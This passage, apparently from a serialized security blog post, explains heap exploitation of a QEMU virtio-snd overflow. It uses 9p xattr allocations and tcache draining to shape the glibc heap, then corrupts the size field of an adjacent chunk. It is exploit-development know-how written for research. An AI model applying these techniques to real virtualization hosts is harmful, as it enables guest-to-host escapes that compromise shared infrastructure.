",{"type":23,"tag":504,"props":129725,"children":129726},{"style":5139},[129727],{"type":29,"value":129728},"v9fs_xattrcreate",{"type":23,"tag":504,"props":129730,"children":129731},{"style":5058},[129732],{"type":29,"value":603},{"type":23,"tag":504,"props":129734,"children":129735},{"style":5030},[129736],{"type":29,"value":53688},{"type":23,"tag":504,"props":129738,"children":129739},{"style":5047},[129740],{"type":29,"value":11863},{"type":23,"tag":504,"props":129742,"children":129743},{"style":5041},[129744],{"type":29,"value":129745},"opaque",{"type":23,"tag":504,"props":129747,"children":129748},{"style":5058},[129749],{"type":29,"value":5200},{"type":23,"tag":504,"props":129751,"children":129752},{"class":5016,"line":4868},[129753],{"type":23,"tag":504,"props":129754,"children":129755},{"style":5058},[129756],{"type":29,"value":12926},{"type":23,"tag":504,"props":129758,"children":129759},{"class":5016,"line":4876},[129760,129764,129769,129773,129777],{"type":23,"tag":504,"props":129761,"children":129762},{"style":5030},[129763],{"type":29,"value":21128},{"type":23,"tag":504,"props":129765,"children":129766},{"style":5058},[129767],{"type":29,"value":129768}," flags, rflags ",{"type":23,"tag":504,"props":129770,"children":129771},{"style":5047},[129772],{"type":29,"value":546},{"type":23,"tag":504,"props":129774,"children":129775},{"style":5083},[129776],{"type":29,"value":5086},{"type":23,"tag":504,"props":129778,"children":129779},{"style":5058},[129780],{"type":29,"value":5061},{"type":23,"tag":504,"props":129782,"children":129783},{"class":5016,"line":5099},[129784,129789],{"type":23,"tag":504,"props":129785,"children":129786},{"style":5030},[129787],{"type":29,"value":129788},"    int32_t",{"type":23,"tag":504,"props":129790,"children":129791},{"style":5058},[129792],{"type":29,"value":129793}," fid;\n",{"type":23,"tag":504,"props":129795,"children":129796},{"class":5016,"line":5203},[129797,129801],{"type":23,"tag":504,"props":129798,"children":129799},{"style":5030},[129800],{"type":29,"value":57674},{"type":23,"tag":504,"props":129802,"children":129803},{"style":5058},[129804],{"type":29,"value":126381},{"type":23,"tag":504,"props":129806,"children":129807},{"class":5016,"line":5308},[129808,129813,129818,129822,129826],{"type":23,"tag":504,"props":129809,"children":129810},{"style":5030},[129811],{"type":29,"value":129812},"    ssize_t",{"type":23,"tag":504,"props":129814,"children":129815},{"style":5058},[129816],{"type":29,"value":129817}," err ",{"type":23,"tag":504,"props":129819,"children":129820},{"style":5047},[129821],{"type":29,"value":546},{"type":23,"tag":504,"props":129823,"children":129824},{"style":5083},[129825],{"type":29,"value":5086},{"type":23,"tag":504,"props":129827,"children":129828},{"style":5058},[129829],{"type":29,"value":5061},{"type":23,"tag":504,"props":129831,"children":129832},{"class":5016,"line":5336},[129833],{"type":23,"tag":504,"props":129834,"children":129835},{"style":5058},[129836],{"type":29,"value":129837},"    V9fsString name;\n",{"type":23,"tag":504,"props":129839,"children":129840},{"class":5016,"line":5349},[129841,129845,129850,129854,129859],{"type":23,"tag":504,"props":129842,"children":129843},{"style":5030},[129844],{"type":29,"value":18612},{"type":23,"tag":504,"props":129846,"children":129847},{"style":5058},[129848],{"type":29,"value":129849}," offset ",{"type":23,"tag":504,"props":129851,"children":129852},{"style":5047},[129853],{"type":29,"value":546},{"type":23,"tag":504,"props":129855,"children":129856},{"style":5083},[129857],{"type":29,"value":129858}," 7",{"type":23,"tag":504,"props":129860,"children":129861},{"style":5058},[129862],{"type":29,"value":5061},{"type":23,"tag":504,"props":129864,"children":129865},{"class":5016,"line":5367},[129866,129871,129875],{"type":23,"tag":504,"props":129867,"children":129868},{"style":5058},[129869],{"type":29,"value":129870},"    V9fsFidState ",{"type":23,"tag":504,"props":129872,"children":129873},{"style":5047},[129874],{"type":29,"value":6613},{"type":23,"tag":504,"props":129876,"children":129877},{"style":5058},[129878],{"type":29,"value":129879},"file_fidp;\n",{"type":23,"tag":504,"props":129881,"children":129882},{"class":5016,"line":5388},[129883,129887,129891],{"type":23,"tag":504,"props":129884,"children":129885},{"style":5058},[129886],{"type":29,"value":129870},{"type":23,"tag":504,"props":129888,"children":129889},{"style":5047},[129890],{"type":29,"value":6613},{"type":23,"tag":504,"props":129892,"children":129893},{"style":5058},[129894],{"type":29,"value":129895},"xattr_fidp;\n",{"type":23,"tag":504,"props":129897,"children":129898},{"class":5016,"line":5397},[129899,129904,129908,129913,129917],{"type":23,"tag":504,"props":129900,"children":129901},{"style":5058},[129902],{"type":29,"value":129903},"    V9fsPDU ",{"type":23,"tag":504,"props":129905,"children":129906},{"style":5047},[129907],{"type":29,"value":6613},{"type":23,"tag":504,"props":129909,"children":129910},{"style":5058},[129911],{"type":29,"value":129912},"pdu ",{"type":23,"tag":504,"props":129914,"children":129915},{"style":5047},[129916],{"type":29,"value":546},{"type":23,"tag":504,"props":129918,"children":129919},{"style":5058},[129920],{"type":29,"value":129921}," opaque;\n",{"type":23,"tag":504,"props":129923,"children":129924},{"class":5016,"line":5649},[129925],{"type":23,"tag":504,"props":129926,"children":129927},{"emptyLinePlaceholder":15},[129928],{"type":29,"value":5734},{"type":23,"tag":504,"props":129930,"children":129931},{"class":5016,"line":5666},[129932,129937,129941,129945],{"type":23,"tag":504,"props":129933,"children":129934},{"style":5139},[129935],{"type":29,"value":129936},"    v9fs_string_init",{"type":23,"tag":504,"props":129938,"children":129939},{"style":5058},[129940],{"type":29,"value":603},{"type":23,"tag":504,"props":129942,"children":129943},{"style":5047},[129944],{"type":29,"value":5151},{"type":23,"tag":504,"props":129946,"children":129947},{"style":5058},[129948],{"type":29,"value":129949},"name);\n",{"type":23,"tag":504,"props":129951,"children":129952},{"class":5016,"line":5683},[129953,129958,129962,129967,129972,129977,129981,129985,129990,129994,129999,130003,130007,130011],{"type":23,"tag":504,"props":129954,"children":129955},{"style":5058},[129956],{"type":29,"value":129957},"    err ",{"type":23,"tag":504,"props":129959,"children":129960},{"style":5047},[129961],{"type":29,"value":546},{"type":23,"tag":504,"props":129963,"children":129964},{"style":5139},[129965],{"type":29,"value":129966}," pdu_unmarshal",{"type":23,"tag":504,"props":129968,"children":129969},{"style":5058},[129970],{"type":29,"value":129971},"(pdu, offset, ",{"type":23,"tag":504,"props":129973,"children":129974},{"style":6297},[129975],{"type":29,"value":129976},"\"dsqd\"",{"type":23,"tag":504,"props":129978,"children":129979},{"style":5058},[129980],{"type":29,"value":4367},{"type":23,"tag":504,"props":129982,"children":129983},{"style":5047},[129984],{"type":29,"value":5151},{"type":23,"tag":504,"props":129986,"children":129987},{"style":5058},[129988],{"type":29,"value":129989},"fid, ",{"type":23,"tag":504,"props":129991,"children":129992},{"style":5047},[129993],{"type":29,"value":5151},{"type":23,"tag":504,"props":129995,"children":129996},{"style":5058},[129997],{"type":29,"value":129998},"name, ",{"type":23,"tag":504,"props":130000,"children":130001},{"style":5047},[130002],{"type":29,"value":5151},{"type":23,"tag":504,"props":130004,"children":130005},{"style":5058},[130006],{"type":29,"value":128749},{"type":23,"tag":504,"props":130008,"children":130009},{"style":5047},[130010],{"type":29,"value":5151},{"type":23,"tag":504,"props":130012,"children":130013},{"style":5058},[130014],{"type":29,"value":130015},"flags);\n",{"type":23,"tag":504,"props":130017,"children":130018},{"class":5016,"line":5696},[130019,130023,130028,130032,130036],{"type":23,"tag":504,"props":130020,"children":130021},{"style":5067},[130022],{"type":29,"value":14325},{"type":23,"tag":504,"props":130024,"children":130025},{"style":5058},[130026],{"type":29,"value":130027}," (err ",{"type":23,"tag":504,"props":130029,"children":130030},{"style":5047},[130031],{"type":29,"value":2658},{"type":23,"tag":504,"props":130033,"children":130034},{"style":5083},[130035],{"type":29,"value":5086},{"type":23,"tag":504,"props":130037,"children":130038},{"style":5058},[130039],{"type":29,"value":16850},{"type":23,"tag":504,"props":130041,"children":130042},{"class":5016,"line":5705},[130043,130048],{"type":23,"tag":504,"props":130044,"children":130045},{"style":5067},[130046],{"type":29,"value":130047},"        goto",{"type":23,"tag":504,"props":130049,"children":130050},{"style":5058},[130051],{"type":29,"value":130052}," out_nofid;\n",{"type":23,"tag":504,"props":130054,"children":130055},{"class":5016,"line":5728},[130056],{"type":23,"tag":504,"props":130057,"children":130058},{"style":5058},[130059],{"type":29,"value":5403},{"type":23,"tag":504,"props":130061,"children":130062},{"class":5016,"line":5737},[130063],{"type":23,"tag":504,"props":130064,"children":130065},{"emptyLinePlaceholder":15},[130066],{"type":29,"value":5734},{"type":23,"tag":504,"props":130068,"children":130069},{"class":5016,"line":5746},[130070],{"type":23,"tag":504,"props":130071,"children":130072},{"style":5058},[130073],{"type":29,"value":106580},{"type":23,"tag":504,"props":130075,"children":130076},{"class":5016,"line":5813},[130077],{"type":23,"tag":504,"props":130078,"children":130079},{"emptyLinePlaceholder":15},[130080],{"type":29,"value":5734},{"type":23,"tag":504,"props":130082,"children":130083},{"class":5016,"line":5821},[130084,130088,130092,130096],{"type":23,"tag":504,"props":130085,"children":130086},{"style":5067},[130087],{"type":29,"value":14325},{"type":23,"tag":504,"props":130089,"children":130090},{"style":5058},[130091],{"type":29,"value":128850},{"type":23,"tag":504,"props":130093,"children":130094},{"style":5047},[130095],{"type":29,"value":12508},{"type":23,"tag":504,"props":130097,"children":130098},{"style":5058},[130099],{"type":29,"value":130100}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":504,"props":130102,"children":130103},{"class":5016,"line":5851},[130104,130109,130113,130117],{"type":23,"tag":504,"props":130105,"children":130106},{"style":5058},[130107],{"type":29,"value":130108},"        err ",{"type":23,"tag":504,"props":130110,"children":130111},{"style":5047},[130112],{"type":29,"value":546},{"type":23,"tag":504,"props":130114,"children":130115},{"style":5047},[130116],{"type":29,"value":53317},{"type":23,"tag":504,"props":130118,"children":130119},{"style":5058},[130120],{"type":29,"value":130121},"E2BIG;\n",{"type":23,"tag":504,"props":130123,"children":130124},{"class":5016,"line":5859},[130125,130129],{"type":23,"tag":504,"props":130126,"children":130127},{"style":5067},[130128],{"type":29,"value":130047},{"type":23,"tag":504,"props":130130,"children":130131},{"style":5058},[130132],{"type":29,"value":130052},{"type":23,"tag":504,"props":130134,"children":130135},{"class":5016,"line":5891},[130136],{"type":23,"tag":504,"props":130137,"children":130138},{"style":5058},[130139],{"type":29,"value":5403},{"type":23,"tag":504,"props":130141,"children":130142},{"class":5016,"line":5899},[130143],{"type":23,"tag":504,"props":130144,"children":130145},{"emptyLinePlaceholder":15},[130146],{"type":29,"value":5734},{"type":23,"tag":504,"props":130148,"children":130149},{"class":5016,"line":5959},[130150],{"type":23,"tag":504,"props":130151,"children":130152},{"style":5058},[130153],{"type":29,"value":106580},{"type":23,"tag":504,"props":130155,"children":130156},{"class":5016,"line":11093},[130157],{"type":23,"tag":504,"props":130158,"children":130159},{"emptyLinePlaceholder":15},[130160],{"type":29,"value":5734},{"type":23,"tag":504,"props":130162,"children":130163},{"class":5016,"line":11111},[130164,130168,130172,130176,130181,130185,130189,130193,130198,130202,130206],{"type":23,"tag":504,"props":130165,"children":130166},{"style":5139},[130167],{"type":29,"value":129936},{"type":23,"tag":504,"props":130169,"children":130170},{"style":5058},[130171],{"type":29,"value":603},{"type":23,"tag":504,"props":130173,"children":130174},{"style":5047},[130175],{"type":29,"value":5151},{"type":23,"tag":504,"props":130177,"children":130178},{"style":5041},[130179],{"type":29,"value":130180},"xattr_fidp",{"type":23,"tag":504,"props":130182,"children":130183},{"style":5058},[130184],{"type":29,"value":15803},{"type":23,"tag":504,"props":130186,"children":130187},{"style":5041},[130188],{"type":29,"value":39039},{"type":23,"tag":504,"props":130190,"children":130191},{"style":5058},[130192],{"type":29,"value":357},{"type":23,"tag":504,"props":130194,"children":130195},{"style":5041},[130196],{"type":29,"value":130197},"xattr",{"type":23,"tag":504,"props":130199,"children":130200},{"style":5058},[130201],{"type":29,"value":357},{"type":23,"tag":504,"props":130203,"children":130204},{"style":5041},[130205],{"type":29,"value":50561},{"type":23,"tag":504,"props":130207,"children":130208},{"style":5058},[130209],{"type":29,"value":5888},{"type":23,"tag":504,"props":130211,"children":130212},{"class":5016,"line":11156},[130213,130218,130222,130226,130230,130234,130238,130242,130246,130250,130254,130258,130262],{"type":23,"tag":504,"props":130214,"children":130215},{"style":5139},[130216],{"type":29,"value":130217},"    v9fs_string_copy",{"type":23,"tag":504,"props":130219,"children":130220},{"style":5058},[130221],{"type":29,"value":603},{"type":23,"tag":504,"props":130223,"children":130224},{"style":5047},[130225],{"type":29,"value":5151},{"type":23,"tag":504,"props":130227,"children":130228},{"style":5041},[130229],{"type":29,"value":130180},{"type":23,"tag":504,"props":130231,"children":130232},{"style":5058},[130233],{"type":29,"value":15803},{"type":23,"tag":504,"props":130235,"children":130236},{"style":5041},[130237],{"type":29,"value":39039},{"type":23,"tag":504,"props":130239,"children":130240},{"style":5058},[130241],{"type":29,"value":357},{"type":23,"tag":504,"props":130243,"children":130244},{"style":5041},[130245],{"type":29,"value":130197},{"type":23,"tag":504,"props":130247,"children":130248},{"style":5058},[130249],{"type":29,"value":357},{"type":23,"tag":504,"props":130251,"children":130252},{"style":5041},[130253],{"type":29,"value":50561},{"type":23,"tag":504,"props":130255,"children":130256},{"style":5058},[130257],{"type":29,"value":4367},{"type":23,"tag":504,"props":130259,"children":130260},{"style":5047},[130261],{"type":29,"value":5151},{"type":23,"tag":504,"props":130263,"children":130264},{"style":5058},[130265],{"type":29,"value":129949},{"type":23,"tag":504,"props":130267,"children":130268},{"class":5016,"line":11262},[130269,130274,130278,130282,130286,130290,130294,130298,130302,130306],{"type":23,"tag":504,"props":130270,"children":130271},{"style":5041},[130272],{"type":29,"value":130273},"    xattr_fidp",{"type":23,"tag":504,"props":130275,"children":130276},{"style":5058},[130277],{"type":29,"value":15803},{"type":23,"tag":504,"props":130279,"children":130280},{"style":5041},[130281],{"type":29,"value":39039},{"type":23,"tag":504,"props":130283,"children":130284},{"style":5058},[130285],{"type":29,"value":357},{"type":23,"tag":504,"props":130287,"children":130288},{"style":5041},[130289],{"type":29,"value":130197},{"type":23,"tag":504,"props":130291,"children":130292},{"style":5058},[130293],{"type":29,"value":357},{"type":23,"tag":504,"props":130295,"children":130296},{"style":5041},[130297],{"type":29,"value":41208},{"type":23,"tag":504,"props":130299,"children":130300},{"style":5047},[130301],{"type":29,"value":5050},{"type":23,"tag":504,"props":130303,"children":130304},{"style":5139},[130305],{"type":29,"value":125952},{"type":23,"tag":504,"props":130307,"children":130308},{"style":5058},[130309],{"type":29,"value":130310},"(size);\n",{"type":23,"tag":504,"props":130312,"children":130313},{"class":5016,"line":25550},[130314],{"type":23,"tag":504,"props":130315,"children":130316},{"style":5058},[130317],{"type":29,"value":5965},{"type":23,"tag":32,"props":130319,"children":130320},{},[130321,130323,130328,130330,130335,130336,130341,130343,130348],{"type":29,"value":130322},"Because the ",{"type":23,"tag":154,"props":130324,"children":130326},{"className":130325},[],[130327],{"type":29,"value":129684},{"type":29,"value":130329}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":154,"props":130331,"children":130333},{"className":130332},[],[130334],{"type":29,"value":129684},{"type":29,"value":4478},{"type":23,"tag":154,"props":130337,"children":130339},{"className":130338},[],[130340],{"type":29,"value":129691},{"type":29,"value":130342},", not just the ",{"type":23,"tag":154,"props":130344,"children":130346},{"className":130345},[],[130347],{"type":29,"value":129691},{"type":29,"value":130349}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":32,"props":130351,"children":130352},{},[130353,130354,130359],{"type":29,"value":18661},{"type":23,"tag":154,"props":130355,"children":130357},{"className":130356},[],[130358],{"type":29,"value":129691},{"type":29,"value":130360}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":32,"props":130362,"children":130363},{},[130364,130366,130371,130373,130379,130381,130387,130389,130395],{"type":29,"value":130365},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":154,"props":130367,"children":130369},{"className":130368},[],[130370],{"type":29,"value":129691},{"type":29,"value":130372}," buffer through a ",{"type":23,"tag":154,"props":130374,"children":130376},{"className":130375},[],[130377],{"type":29,"value":130378},"P9_TWRITE",{"type":29,"value":130380}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":154,"props":130382,"children":130384},{"className":130383},[],[130385],{"type":29,"value":130386},"P9_TREAD",{"type":29,"value":130388},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":154,"props":130390,"children":130392},{"className":130391},[],[130393],{"type":29,"value":130394},"P9_TCLUNK",{"type":29,"value":130396}," request on that same FID.",{"type":23,"tag":32,"props":130398,"children":130399},{},[130400,130402,130408],{"type":29,"value":130401},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":154,"props":130403,"children":130405},{"className":130404},[],[130406],{"type":29,"value":130407},"65536",{"type":29,"value":130409}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":320,"props":130411,"children":130413},{"id":130412},"setting-the-heap-layout",[130414],{"type":29,"value":130415},"Setting the Heap Layout",{"type":23,"tag":32,"props":130417,"children":130418},{},[130419,130421,130426],{"type":29,"value":130420},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":154,"props":130422,"children":130424},{"className":130423},[],[130425],{"type":29,"value":129691},{"type":29,"value":130427}," allocations, like this:",{"type":23,"tag":4743,"props":130429,"children":130431},{"code":130430},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130432],{"type":23,"tag":154,"props":130433,"children":130434},{"__ignoreMap":7},[130435],{"type":29,"value":130430},{"type":23,"tag":32,"props":130437,"children":130438},{},[130439,130441,130446,130448,130453,130455,130460],{"type":29,"value":130440},"This lets us later create holes by freeing every other ",{"type":23,"tag":154,"props":130442,"children":130444},{"className":130443},[],[130445],{"type":29,"value":129691},{"type":29,"value":130447}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":154,"props":130449,"children":130451},{"className":130450},[],[130452],{"type":29,"value":126039},{"type":29,"value":130454}," field of the next live ",{"type":23,"tag":154,"props":130456,"children":130458},{"className":130457},[],[130459],{"type":29,"value":129691},{"type":29,"value":130461}," chunk.",{"type":23,"tag":32,"props":130463,"children":130464},{},[130465],{"type":29,"value":130466},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":32,"props":130468,"children":130469},{},[130470,130472,130477,130479,130484,130486,130491,130493,130498],{"type":29,"value":130471},"As mentioned earlier, ",{"type":23,"tag":154,"props":130473,"children":130475},{"className":130474},[],[130476],{"type":29,"value":129728},{"type":29,"value":130478}," always allocates two chunks: one for ",{"type":23,"tag":154,"props":130480,"children":130482},{"className":130481},[],[130483],{"type":29,"value":129684},{"type":29,"value":130485}," and one for ",{"type":23,"tag":154,"props":130487,"children":130489},{"className":130488},[],[130490],{"type":29,"value":129691},{"type":29,"value":130492},". We want to avoid having ",{"type":23,"tag":154,"props":130494,"children":130496},{"className":130495},[],[130497],{"type":29,"value":129684},{"type":29,"value":130499}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":139,"props":130501,"children":130502},{},[130503,130515],{"type":23,"tag":143,"props":130504,"children":130505},{},[130506,130508,130513],{"type":29,"value":130507},"Make ",{"type":23,"tag":154,"props":130509,"children":130511},{"className":130510},[],[130512],{"type":29,"value":129684},{"type":29,"value":130514}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":143,"props":130516,"children":130517},{},[130518,130520,130525,130527,130532,130534,130539],{"type":29,"value":130519},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":154,"props":130521,"children":130523},{"className":130522},[],[130524],{"type":29,"value":129684},{"type":29,"value":130526},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":154,"props":130528,"children":130530},{"className":130529},[],[130531],{"type":29,"value":129684},{"type":29,"value":130533}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":154,"props":130535,"children":130537},{"className":130536},[],[130538],{"type":29,"value":129691},{"type":29,"value":130540}," chunks.",{"type":23,"tag":20944,"props":130542,"children":130544},{"id":130543},"separating-name-allocations",[130545],{"type":29,"value":130546},"Separating .name allocations",{"type":23,"tag":32,"props":130548,"children":130549},{},[130550,130552,130557,130559,130564],{"type":29,"value":130551},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":154,"props":130553,"children":130555},{"className":130554},[],[130556],{"type":29,"value":129728},{"type":29,"value":130558}," for N ",{"type":23,"tag":154,"props":130560,"children":130562},{"className":130561},[],[130563],{"type":29,"value":129684},{"type":29,"value":130565},"-sized allocations and then freeing them.",{"type":23,"tag":32,"props":130567,"children":130568},{},[130569,130571,130576,130577,130582,130583,130588,130590,130595,130597,130602],{"type":29,"value":130570},"At this point, we already know that ",{"type":23,"tag":154,"props":130572,"children":130574},{"className":130573},[],[130575],{"type":29,"value":129728},{"type":29,"value":130478},{"type":23,"tag":154,"props":130578,"children":130580},{"className":130579},[],[130581],{"type":29,"value":129684},{"type":29,"value":130485},{"type":23,"tag":154,"props":130584,"children":130586},{"className":130585},[],[130587],{"type":29,"value":129691},{"type":29,"value":130589},". If we simply call it with ",{"type":23,"tag":154,"props":130591,"children":130593},{"className":130592},[],[130594],{"type":29,"value":129691},{"type":29,"value":130596}," sized the same as ",{"type":23,"tag":154,"props":130598,"children":130600},{"className":130599},[],[130601],{"type":29,"value":129684},{"type":29,"value":130603},", we get a layout like this:",{"type":23,"tag":4743,"props":130605,"children":130607},{"code":130606},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130608],{"type":23,"tag":154,"props":130609,"children":130610},{"__ignoreMap":7},[130611],{"type":29,"value":130606},{"type":23,"tag":32,"props":130613,"children":130614},{},[130615,130617,130622,130624,130630,130632,130638,130640,130645,130647,130652,130654,130659],{"type":29,"value":130616},"With that heap state, issuing a ",{"type":23,"tag":154,"props":130618,"children":130620},{"className":130619},[],[130621],{"type":29,"value":130394},{"type":29,"value":130623}," request would first free ",{"type":23,"tag":154,"props":130625,"children":130627},{"className":130626},[],[130628],{"type":29,"value":130629},".name A",{"type":29,"value":130631}," and then ",{"type":23,"tag":154,"props":130633,"children":130635},{"className":130634},[],[130636],{"type":29,"value":130637},".value A",{"type":29,"value":130639},". When ",{"type":23,"tag":154,"props":130641,"children":130643},{"className":130642},[],[130644],{"type":29,"value":130637},{"type":29,"value":130646}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":154,"props":130648,"children":130650},{"className":130649},[],[130651],{"type":29,"value":130629},{"type":29,"value":130653}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":154,"props":130655,"children":130657},{"className":130656},[],[130658],{"type":29,"value":129684},{"type":29,"value":130660},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":32,"props":130662,"children":130663},{},[130664],{"type":29,"value":130665},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":32,"props":130667,"children":130668},{},[130669,130671,130676,130678,130683,130685,130690,130692,130698,130700,130705,130707,130713],{"type":29,"value":130670},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":154,"props":130672,"children":130674},{"className":130673},[],[130675],{"type":29,"value":129684},{"type":29,"value":130677}," allocation remains fixed at size ",{"type":23,"tag":154,"props":130679,"children":130681},{"className":130680},[],[130682],{"type":29,"value":106846},{"type":29,"value":130684},". We first allocate 16 xattrs whose ",{"type":23,"tag":154,"props":130686,"children":130688},{"className":130687},[],[130689],{"type":29,"value":129691},{"type":29,"value":130691}," size is ",{"type":23,"tag":154,"props":130693,"children":130695},{"className":130694},[],[130696],{"type":29,"value":130697},"0x30",{"type":29,"value":130699},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":154,"props":130701,"children":130703},{"className":130702},[],[130704],{"type":29,"value":129691},{"type":29,"value":130706}," size ",{"type":23,"tag":154,"props":130708,"children":130710},{"className":130709},[],[130711],{"type":29,"value":130712},"0x40",{"type":29,"value":130714},", and continue in the same way for each tcache size class.",{"type":23,"tag":32,"props":130716,"children":130717},{},[130718],{"type":29,"value":130719},"This yields the following layout:",{"type":23,"tag":4743,"props":130721,"children":130723},{"code":130722},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[130724],{"type":23,"tag":154,"props":130725,"children":130726},{"__ignoreMap":7},[130727],{"type":29,"value":130722},{"type":23,"tag":32,"props":130729,"children":130730},{},[130731,130733,130738,130740,130745,130747,130752,130754,130759,130761,130766,130768,130773,130774,130779,130781,130786,130788,130793,130795,130800,130802,130807,130809,130814],{"type":29,"value":130732},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":154,"props":130734,"children":130736},{"className":130735},[],[130737],{"type":29,"value":129684},{"type":29,"value":130739}," chunks end up in the ",{"type":23,"tag":154,"props":130741,"children":130743},{"className":130742},[],[130744],{"type":29,"value":106846},{"type":29,"value":130746}," tcache bin, along with the interleaved ",{"type":23,"tag":154,"props":130748,"children":130750},{"className":130749},[],[130751],{"type":29,"value":129691},{"type":29,"value":130753}," chunks of size ",{"type":23,"tag":154,"props":130755,"children":130757},{"className":130756},[],[130758],{"type":29,"value":130697},{"type":29,"value":130760},". The next 16 ",{"type":23,"tag":154,"props":130762,"children":130764},{"className":130763},[],[130765],{"type":29,"value":129684},{"type":29,"value":130767}," chunks are interleaved with ",{"type":23,"tag":154,"props":130769,"children":130771},{"className":130770},[],[130772],{"type":29,"value":129691},{"type":29,"value":130753},{"type":23,"tag":154,"props":130775,"children":130777},{"className":130776},[],[130778],{"type":29,"value":130712},{"type":29,"value":130780},"; when freed, those ",{"type":23,"tag":154,"props":130782,"children":130784},{"className":130783},[],[130785],{"type":29,"value":129691},{"type":29,"value":130787}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":154,"props":130789,"children":130791},{"className":130790},[],[130792],{"type":29,"value":129684},{"type":29,"value":130794}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":154,"props":130796,"children":130798},{"className":130797},[],[130799],{"type":29,"value":129684},{"type":29,"value":130801},"-sized chunks that will later be served to the ",{"type":23,"tag":154,"props":130803,"children":130805},{"className":130804},[],[130806],{"type":29,"value":129684},{"type":29,"value":130808}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":154,"props":130810,"children":130812},{"className":130811},[],[130813],{"type":29,"value":129691},{"type":29,"value":130540},{"type":23,"tag":320,"props":130816,"children":130818},{"id":130817},"corrupting-the-size",[130819],{"type":29,"value":130820},"Corrupting the Size",{"type":23,"tag":32,"props":130822,"children":130823},{},[130824,130826,130831,130833,130838,130840,130845,130847,130852,130853,130858],{"type":29,"value":130825},"The input format is guest-controlled, and we choose ",{"type":23,"tag":154,"props":130827,"children":130829},{"className":130828},[],[130830],{"type":29,"value":5470},{"type":29,"value":130832}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":154,"props":130834,"children":130836},{"className":130835},[],[130837],{"type":29,"value":5470},{"type":29,"value":130839}," is centered at ",{"type":23,"tag":154,"props":130841,"children":130843},{"className":130842},[],[130844],{"type":29,"value":31494},{"type":29,"value":130846}," (rather than ",{"type":23,"tag":154,"props":130848,"children":130850},{"className":130849},[],[130851],{"type":29,"value":127946},{"type":29,"value":127933},{"type":23,"tag":154,"props":130854,"children":130856},{"className":130855},[],[130857],{"type":29,"value":127924},{"type":29,"value":130859},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":32,"props":130861,"children":130862},{},[130863,130865,130870],{"type":29,"value":130864},"As we already concluded, ",{"type":23,"tag":154,"props":130866,"children":130868},{"className":130867},[],[130869],{"type":29,"value":127389},{"type":29,"value":130871}," is called with the amount:",{"type":23,"tag":4743,"props":130873,"children":130875},{"code":130874},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[130876],{"type":23,"tag":154,"props":130877,"children":130878},{"__ignoreMap":7},[130879],{"type":29,"value":130874},{"type":23,"tag":32,"props":130881,"children":130882},{},[130883,130885,130890,130892,130897],{"type":29,"value":130884},"And as mentioned earlier, ",{"type":23,"tag":154,"props":130886,"children":130888},{"className":130887},[],[130889],{"type":29,"value":127420},{"type":29,"value":130891}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's 